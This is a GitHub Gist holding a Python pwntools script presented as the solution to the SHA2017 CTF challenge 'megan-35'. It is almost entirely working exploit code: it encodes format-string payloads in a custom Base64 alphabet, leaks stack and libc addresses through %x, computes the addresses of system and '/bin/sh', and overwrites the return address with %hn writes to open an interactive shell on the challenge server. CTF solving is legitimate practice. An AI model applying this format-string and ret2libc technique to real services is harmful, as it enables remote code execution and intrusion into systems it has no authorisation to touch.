Last active
November 5, 2017 04:26
-
-
Save aagallag/9cb968315e21a13a2ecb616b4af93e34 to your computer and use it in GitHub Desktop.
Writeup for CTF challenge: https://b0tchsec.com/2017/sha2017/megan-35
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import base64 | |
from pwn import * | |
HOST='megan35.stillhackinganyway.nl' | |
PORT='3535' | |
REMOTE=True | |
DEBUG=False | |
FNAME='./megan-35' | |
######################################################################################### | |
# Megan-35 implementation from: https://gist.github.com/tunelko/49b7e64c1688d62d0ecd | |
megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5" | |
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" | |
class B64weird_encodings: | |
def __init__(self, translation): | |
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" | |
self.srch = dict(zip(b, translation)) | |
self.revlsrch = dict(zip(translation, b)) | |
def encode(self, pt): | |
global srch | |
b64 = base64.b64encode(pt) | |
r = "".join([self.srch[x] for x in b64]) | |
return r | |
def encode(variant, pt): | |
encoder = B64weird_encodings(variant) | |
return encoder.encode(pt) | |
######################################################################################### | |
def getp(): | |
p = None | |
if REMOTE: | |
p = remote(HOST,PORT) | |
elif DEBUG: | |
p = process(['gdbserver', 'localhost:4200', FNAME]) | |
else: | |
p = process([FNAME]) | |
p.recvuntil('encryption.\n') | |
return p | |
def dump_addrs(stop_at_str): | |
for i in range(0,500): | |
p = getp() | |
payload = '' | |
payload += 'AAAA%' | |
payload += str(i) | |
payload += '$x' | |
cipher = encode(megan35, payload) | |
p.sendline(cipher) | |
ret = p.recvall() | |
print(ret) | |
if stop_at_str in ret: | |
print(i) | |
print('Found it!') | |
return i | |
def get_retn_addr(): | |
p = getp() | |
payload = '' | |
payload += 'AAAA%96$x' | |
cipher = encode(megan35, payload) | |
p.sendline(cipher) | |
ret = p.recvall() | |
ret = ret.replace('AAAA','') | |
return u32(ret.decode('hex')[::-1])+0xc | |
def get_printf_addr(): | |
p = getp() | |
payload = '' | |
payload += 'AAAA%46$x' | |
cipher = encode(megan35, payload) | |
p.sendline(cipher) | |
ret = p.recvall() | |
ret = ret.replace('AAAA','') | |
return u32(ret.decode('hex')[::-1])+0x35D3B | |
def find_arg_offset(): | |
for i in range(0,500): | |
p = getp() | |
payload = '' | |
payload += 'AAAA%' | |
payload += str(i) | |
payload += '$x' | |
cipher = encode(megan35, payload) | |
p.sendline(cipher) | |
ret = p.recvall() | |
print(ret) | |
if '41414141' in ret: | |
print(i) | |
print('Found it!') | |
return i | |
# Find the arg offset == 71 | |
#find_arg_offset() | |
# looking for something close to retn addr (arg 80) | |
#dump_addrs('ffffd2c') | |
# looking for something close to libc addr | |
#dump_addrs('f7e') | |
# Leak the printf addr so that we can calculate the libc base address | |
printf_addr = get_printf_addr() | |
print('printf== 0x%x' % printf_addr) | |
# Leak the return address | |
retn_addr = get_retn_addr() | |
print('0x%x' % retn_addr) | |
# Calculate libc addresses | |
libc = ELF('./libc.so.6') | |
libc.address = printf_addr - libc.symbols['printf'] | |
addr_system = libc.symbols['system'] | |
addr_binsh = next(libc.search('/bin/sh\x00')) | |
# Split the libc addresses into halfs (2 bytes) and sort from least to greatest | |
# Also create a dictionary mapping libc addresses to their desired destination on the stack | |
addrs = [] | |
addr_dict = {} | |
addrs.append(addr_system >> 16) | |
addr_dict[addr_system >> 16] = retn_addr+2 | |
addrs.append(addr_system & 0x0000ffff) | |
addr_dict[addr_system & 0x0000ffff] = retn_addr | |
addrs.append(addr_binsh >> 16) | |
addr_dict[addr_binsh >> 16] = retn_addr+8+2 | |
addrs.append(addr_binsh & 0x0000ffff) | |
addr_dict[addr_binsh & 0x0000ffff] = retn_addr+8 | |
addrs.sort() | |
# Build the exploit | |
p = getp() | |
fmt = '' | |
fmt += p32(addr_dict[addrs[0]]) | |
fmt += p32(addr_dict[addrs[1]]) | |
fmt += p32(addr_dict[addrs[2]]) | |
fmt += p32(addr_dict[addrs[3]]) | |
fmt += '%' + str((addrs[0]-(16))) + 'x%71$hn' | |
fmt += '%' + str((addrs[1]-addrs[0])) + 'x%72$hn' | |
fmt += '%' + str((addrs[2]-addrs[1])) + 'x%73$hn' | |
fmt += '%' + str((addrs[3]-addrs[2])) + 'x%74$hn' | |
# Execute the exploit | |
payload = encode(megan35, fmt) | |
p.sendline(payload) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment